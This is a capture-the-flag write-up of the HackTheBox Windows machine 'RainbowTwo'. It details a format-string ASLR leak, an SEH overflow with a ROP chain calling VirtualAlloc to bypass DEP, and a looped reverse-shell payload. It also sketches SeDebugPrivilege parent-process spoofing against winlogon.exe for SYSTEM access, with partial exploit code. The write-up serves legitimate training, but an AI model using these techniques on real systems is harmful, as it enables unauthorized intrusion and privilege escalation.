HTB: RainbowTwo Writeup
RainbowTwo - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | RainbowTwo |
| OS | Windows |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.234.70 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
RainbowTwo is an exploit-dev focused Hard Windows box built around a custom file-sharing service (filesrv.exe) listening on a non-standard port. Anonymous FTP hands over the vulnerable binary itself plus a copy of kernel32.dll, which is everything needed to build a fully weaponized exploit offline: a format-string leak defeats ASLR, an SEH-based stack overflow gives control flow despite DEP and GS being enabled, and a hand-built ROP chain calls VirtualAlloc to make the stack executable before landing a reverse shell. Because the exploit is stochastic and the resulting shell is short-lived, the win condition is a loop-and-catch race rather than a single clean shot. From there, SeDebugPrivilege on the low-priv account is abused via parent-process spoofing against winlogon.exe to land a reparented SYSTEM process.
TL;DR: Anonymous FTP (21) leaks filesrv.exe + kernel32.dll → format-string leak on TCP/2121 (TEST %p.%p) bypasses ASLR → SEH overwrite (nSEH@1032/SEH@1036) + stack pivot (add esp,0xe10;ret) → ROP chain resolves VirtualAlloc via the TlsAlloc IAT entry (offset 0xffffced0) to bypass DEP → RWX stack → jmp esp → windows/shell_reverse_tcp on 443, thrown in a loop with an auto-handler → shell as rainbow2\dev → user.txt → SeDebugPrivilege + parent-process spoofing against winlogon.exe → reparented SYSTEM process → root.txt.
Reconnaissance
Port Scanning
# Full TCP sweep against the targetnmap -sC -sV -T4 -p- 10.129.234.70Results:
- 21/tcp — FTP, anonymous login allowed
- 2121/tcp — unknown/custom service (turned out to be the
filesrvfile-sharing server) - 3389/tcp — RDP (not used in the chain)
Service Enumeration
FTP (21) — anonymous access. Logging in as anonymous exposes exactly the artifacts an exploit developer needs:
# Anonymous FTP pull of the exploit-dev artifactsftp 10.129.234.70# Name: anonymous / Password: (blank)ftp> binaryftp> get filesrv.exeftp> get README.txtftp> cd SysWOW64ftp> get kernel32.dllfilesrv.exe— the custom service binary itself, runnable/inspectable locally.README.txt— developer changelog stating the service was rebuilt with ASLR, DEP, and GS all enabled after a prior compromise — effectively a dare to bypass all three mitigations.SysWOW64\kernel32.dll— the exactkernel32.dllthe remote process loads, which matters because the exploit needs to resolveVirtualAllocfrom it (see Initial Foothold).
Custom service (2121). Interacting with the service directly shows it accepts a <COMMAND> <PATH> grammar (e.g. LST, GET, TEST), validates the path, and — critically — echoes the supplied path back inside its own error messages:
nc 10.129.234.70 2121TEST hello# ERROR: Can not open Path: helloVulnerability Assessment
- Anonymous FTP discloses the exact vulnerable binary and its DLL dependency — turns a black-box remote target into a fully offline-debuggable target.
- Format string vulnerability in the path-echo logic on the 2121 service — user input reaches an error-formatting routine unsanitized.
- Stack-based buffer overflow overwriting the SEH chain in the same path-handling code, reachable despite DEP/ASLR/GS being enabled.
Initial Foothold
Exploitation Path
1. ASLR bypass via format string leak. Sending a format specifier as the “path” argument gets it evaluated instead of just echoed:
nc 10.129.234.70 2121TEST %p.%pThe leaked value resolves to a pointer inside filesrv.exe at a fixed offset from the module base:
base = leaked_pointer - 0x14120 # filesrv.exe + 0x14120 == leaked pointerThis works because the vulnerable code path passes attacker-controlled input directly as the format argument to a printf-family call rather than as a data argument — classic format-string abuse — and one of the stack slots the format specifiers walk happens to contain a return address / code pointer back into the module itself. With ASLR enabled the module base changes every restart, so this leak has to be re-run fresh for every exploit attempt.
2. SEH overwrite with DEP/ASLR/GS enabled. Overflowing the path buffer further doesn’t hit EIP directly — it clobbers the Structured Exception Handling (SEH) chain instead, at fixed offsets:
nSEH offset = 1032SEH offset = 1036Because README.txt confirms DEP is on, the classic “pop pop ret into nSEH” trick isn’t enough on its own — the stack at the point of dispatch isn’t executable, so any shellcode placed there would simply fault. The exploit therefore needs to reach code execution and make memory executable before running a payload.
3. Stack pivot + ROP chain to defeat DEP. The SEH handler is redirected to a add esp, 0xe10; ret gadget inside filesrv.exe (found via a ROP-gadget search against the leaked base), which pivots esp into the attacker-controlled buffer holding the ROP chain. That chain’s job is to call VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE) to flip the stack to RWX. VirtualAlloc isn’t in filesrv.exe’s Import Address Table, so it has to be resolved indirectly through a function that is imported — TlsAlloc — using the fixed offset between the two functions inside the kernel32.dll pulled from FTP:
VirtualAlloc - TlsAlloc = 0xffffced0# Sketch of the exploit primitives (pwntools-style), values as recovered from the live targetfrom pwn import remote
TARGET, PORT = "10.129.234.70", 2121
def leak_base(): r = remote(TARGET, PORT) r.sendline(b"TEST %p.%p") leak = r.recvline() # ERROR: Can not open Path: <ptr1>.<ptr2> # second %p lands inside filesrv.exe base = int(leak.split(b'.')[1], 16) - 0x14120 return base, r
# nSEH/SEH overwrite offsets confirmed via a local cyclic-pattern crashNSEH_OFF, SEH_OFF = 1032, 1036STACK_PIVOT = "add esp, 0xe10; ret" # lands esp back into the ROP buffer
# ROP chain calls VirtualAlloc(resolved via TlsAlloc IAT entry - 0xffffced0)# to make the stack RWX, then falls through to a jmp esp -> shellcodeOnce the stack is RWX and a jmp esp lands, execution reaches a windows/shell_reverse_tcp payload catching back on port 443.
4. Loop-and-catch, because the exploit is stochastic. Each crash kills the running service instance; the supervisor has to restart it before the next attempt can leak a fresh base and land. The exploit was therefore driven in a loop, paired with an auto-handler that immediately fired a batch of commands the instant a shell connected — because the resulting shell is extremely short-lived before the process dies again:
# Reverse shell catcher, fired automatically per successful connectionwhile true; do python3 exploit.py # fresh base leak + fresh ROP chain each iterationdoneThis eventually landed a shell as rainbow2\dev:
C:\> whoamirainbow2\dev
C:\> type C:\Users\dev\Desktop\user.txt<redacted>Privilege Escalation
A quick privilege check on the unstable shell showed SeDebugPrivilege available to dev:
C:\> whoami /privPrivilege Name State============================= ========SeDebugPrivilege ...SeDebugPrivilege grants the holder the right to open a handle to any process on the system — including ones owned by SYSTEM — bypassing the normal DACL check that would otherwise block OpenProcess() against a protected process like winlogon.exe.
Parent-process spoofing against winlogon.exe:
// Sketch of the technique executed from the dev shell// 1. Enable SeDebugPrivilege on the current tokenAdjustTokenPrivileges(hToken, FALSE, &sePrivDebug, ...);
// 2. SeDebugPrivilege lets us open a handle to a SYSTEM-owned process// that our DACL would normally deny access toHANDLE hWinlogon = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, winlogonPid);
// 3. Build a STARTUPINFOEX with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS// pointed at the winlogon handleInitializeProcThreadAttributeList(...);UpdateProcThreadAttribute(attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hWinlogon, sizeof(HANDLE), NULL, NULL);
// 4. Spawn the new process reparented under winlogon.exeCreateProcess(NULL, cmdLine, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &startupInfoEx.StartupInfo, &pi);The reparented child inherited a SYSTEM security context, letting it read the protected root flag:
C:\Windows\system32> whoamint authority\system
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt<redacted>Attack Chain Summary
Anonymous FTP (21) leaks filesrv.exe + kernel32.dll → Fuzz custom service on 2121, find path is echoed in errors → Format string leak (TEST %p.%p) → filesrv.exe base (ASLR bypass) → SEH overwrite (nSEH@1032 / SEH@1036) → Stack pivot (add esp, 0xe10; ret) → ROP chain resolves VirtualAlloc via TlsAlloc IAT (offset 0xffffced0) → RWX stack (DEP bypass) → jmp esp → windows/shell_reverse_tcp on 443, thrown in a loop w/ auto-handler → Shell as rainbow2\dev → user.txt → SeDebugPrivilege → OpenProcess(winlogon.exe) + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS → Reparented SYSTEM process → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
| FTP client | Anonymous pull of filesrv.exe, README.txt, kernel32.dll |
nc (netcat) | Manual protocol fuzzing against the 2121 service |
| Disassembler / debugger (Ghidra/WinDbg-class tooling) | Confirming the filesrv+0x14120 leak offset and computing VirtualAlloc - TlsAlloc from the pulled kernel32.dll |
| ROP gadget search | Locating the stack-pivot and DEP-bypass gadgets inside filesrv.exe |
| Python (pwntools-style socket exploit) | Driving the leak → overflow → ROP chain against the live service |
msfvenom | Generating the windows/shell_reverse_tcp payload |
| Custom Win32 privesc tool | SeDebugPrivilege + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS reparenting against winlogon.exe |
Key Learnings
Techniques Practiced
- Anonymous FTP recon that turns a remote black-box service into a locally debuggable target
- Format-string based ASLR bypass
- SEH-chain overwrite exploitation with DEP and GS enabled
- Stack pivoting to escape a non-executable exception-dispatch frame
- ROP-based DEP bypass via
VirtualAlloc, resolved indirectly through an IAT-neighbor function - Looped, race-driven exploitation against a stochastic, self-restarting service
SeDebugPrivilegeabuse via parent-process spoofing to obtain a SYSTEM-context process
Lessons Learned
- Anonymous file shares that expose the actual vulnerable binary (plus its exact DLL dependencies) turn “remote blind exploit dev” into “local debuggable exploit dev” — always pull and diff every file an anonymous share offers before touching the live service.
- A path or parameter that gets echoed back verbatim in an error message is a format-string candidate worth testing immediately with
%p/%xsequences. - DEP/ASLR/GS being enabled doesn’t make a stack overflow unexploitable — it just means the exploit chain needs a leak (ASLR), a DEP-bypass primitive (ROP →
VirtualAlloc), and a crash path that doesn’t route through the GS cookie check (SEH overwrite instead of a direct return-address smash). - When a service exploit is inherently unreliable (crash timing, thread-stack variance, restart windows), build the win condition as a loop with an automatic catch/handler rather than trying to perfect a single deterministic shot.
SeDebugPrivilegealone is a privesc primitive: it lets a low-privileged account open handles to SYSTEM processes that its own DACL would otherwise block, which is enough to leverage a SYSTEM-owned process as a spoofed parent.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- amra, RainbowTwo — official HackTheBox writeup (machine author: xct). Used only for explanatory background on why the format-string leak yields a reliable ASLR bypass, how the SEH-based DEP bypass via
VirtualAllocworks mechanically, and the general bad-byte/GS-cookie considerations in this exploit class. All IPs, offsets, gadget addresses, credentials, and command output in this write-up are from the author’s own live run against10.129.234.70, not from the reference.